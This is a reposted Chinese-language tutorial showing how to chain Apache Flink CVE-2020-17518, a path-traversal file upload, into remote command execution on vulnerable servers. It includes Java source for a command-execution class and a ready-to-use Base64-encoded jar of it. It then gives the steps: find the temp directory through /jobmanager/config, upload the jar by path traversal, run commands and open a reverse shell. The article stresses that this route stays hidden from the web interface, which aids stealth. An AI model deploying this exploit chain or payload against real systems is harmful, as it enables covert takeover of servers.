您好,登錄后才能下訂單哦!
這篇文章給大家介紹從CVE-2020-17518到一鍵Getshell的示例分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
前言:最近網上爆出Apache Flink漏洞CVE-2020-17518,影響范圍從1.5.1到1.11.2,漏洞版本周期超過兩年,看了一些網上的漏洞復現文章里提到的EXP主要只停留在寫文件后登錄服務器里驗證。為了在實戰中能夠發揮作用,于是想嘗試構造能夠Getshell的EXP。
使用Vulfocus、Vulhub可一鍵搭建CVE-2020-17518漏洞環境。
由于可以目錄穿越上傳,首先就考慮上傳jsp一句話到Web目錄,但是Web目錄下并不能夠解析jsp腳本,jsp文件會被直接下載回來。
考慮結合先前Flink 1.9.x爆出的部署jar包getshell的思路進行突破。
1.3.1 準備jar包
主要源碼如下,用于執行系統命令。
import java.io.File; import java.util.Scanner; public class Execute { public Execute() { } public static void main(String[] args) throws Exception { String o = ""; String cmd = args[0]; ProcessBuilder p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { String pty = "/bin/sh"; if ((new File("/bin/bash")).exists()) { pty = "/bin/bash"; } p = new ProcessBuilder(new String[]{pty, "-c", cmd}); } Process s = p.start(); Scanner c = (new Scanner(s.getInputStream())).useDelimiter("\\A"); c.close(); } }
將源碼編譯并打包為jar包,下面為打包好的jar包轉碼為Base64編碼。
UEsDBBQAAAAIAASBJlLHe4y+9gIAAOgEAAANAAAARXhlY3V0ZS5jbGFzc21Uy1bUQBC9zTwSQnhFBEZ8gAoOCIwiKgKivEWGhwbRATaZ0AcCMwkmPQIbN/oTfIFrNoNHjn6Av+MatToqLycn6UpX3Vt1q7uT7z+/fAPQixUNTehQcVtFp4YudGsoR0rFHWnvKuhRcE9Fr4r7GlQ8UPFQQZ+KRxqq0C+HARWDMvRYwZCGJ3iqoQ7DKkakHZXDmIJxBRMM8UHHdcQQQyTZvsgQHfVWOUN12nH5bCGf5f6Clc1xCuQtx2WoTy6nN6x3VipnuWspU/iOuzYgiZWmsOzNGWsrxJNABZOklEEb37H5lnA8N1DwjOamV/BtPuHIrPr4DrcLgnfLnDou4woDGBQv6HatPKWZ0vEc0zrSmCGJ246rYxZzDI0nIuZ9z+ZBMFJwcqvcZ6g5r4/y2fnVbr5DBctStizTQr5U1nFTwTqJCAmOl/qjqTwMZK1gXSLndbzASyJ2EdHEAkNtCC8IJ5cybct1ua/glY5FvJb4NwRdGdaRwZKOZdmP8rfHM8rmshvcFgwXSiwneU98x6t3trHdQPA8Q8UaF9T/FvfFLkNbssTelMpfIby0t839USsgWXXJkiDV9lxBmx4wNJ1OPLpu+SZ/W+CuzQfalxguJksfiTjfcQIRyKMlYbFAWL4g+Em5k92jerXnncSsov6m3K2CoLTcooYbiPxvu04FiN6YLBUIheiFgI/xnJN3hDwgt0ou03+7Sjljds4LOFpwiT5IeZWByUNK41WatZBlZGMdB2D7kCf3Go0awciJKOL0vTYTrCyE/6B5nOxHoyzdEemZMSKfES0iZsSLUPbQfAg1E/+K8kzE0MxM1KgwM7FO8wD67Cf0GpX90UNUZYzqA9QUUbsHxagm1zEnEZUc45jTVcQFGa/LJKjIxQPUGw1FNPbHErEiEvuymVBtD3QayxEh4Qq9N6CSfkHV6EMNJlGLafpbcPJuohHvkcAHWozrxGhF5Ai9Cm7QfYR6kPlF4aiCm/Qa3q0Ea6MnClp0epJh0fbfUEsDBAoAAAgAACJ1bU8AAAAAAAAAAAAAAAAJAAAATUVUQS1JTkYvUEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALgAAAFBLAQI/ABQAAAAIAASBJlLHe4y+9gIAAOgEAAANACQAAAAAAAAAIAAAAAAAAABFeGVjdXRlLmNsYXNzCgAgAAAAAAABABgAsQeXEAPk1gFyshItA+TWAdyLEi0D5NYBUEsBAgoACgAACAAAInVtTwAAAAAAAAAAAAAAAAkAAAAAAAAAAAAAAAAAIQMAAE1FVEEtSU5GL1BLAQIUABQACAgIACJ1bU+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAEgDAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSwUGAAAAAAMAAwDcAAAAvgMAAAAA
1.3.2 獲取Flink運行目錄
Flink運行時文件都在/tmp目錄下,路徑類似于
/tmp/flink-web-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/
每臺服務器運行Flink時路徑都不同,因此要先獲取該路徑。
通過接口 /jobmanager/config 則可以獲取web.tmpdir的路徑。
1.3.3 上傳jar包
通過拼接路徑,結合CVE-2020-17518漏洞即可上傳jar包到/tmp/flink-web-f4aee131-987b-46d7-91af-754464a230b2/flink-web-upload/目錄下。
1.3.4 執行命令,反彈shell
相比通過"Submit New Job"處上傳jar包,通過利用CVE-2020-17518漏洞上傳的jar包,并不會在前臺顯示,因此具有一定的隱蔽性。
Goby超級內測版本 Beta 1.8.236 已支持利用該漏洞。
關于從CVE-2020-17518到一鍵Getshell的示例分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。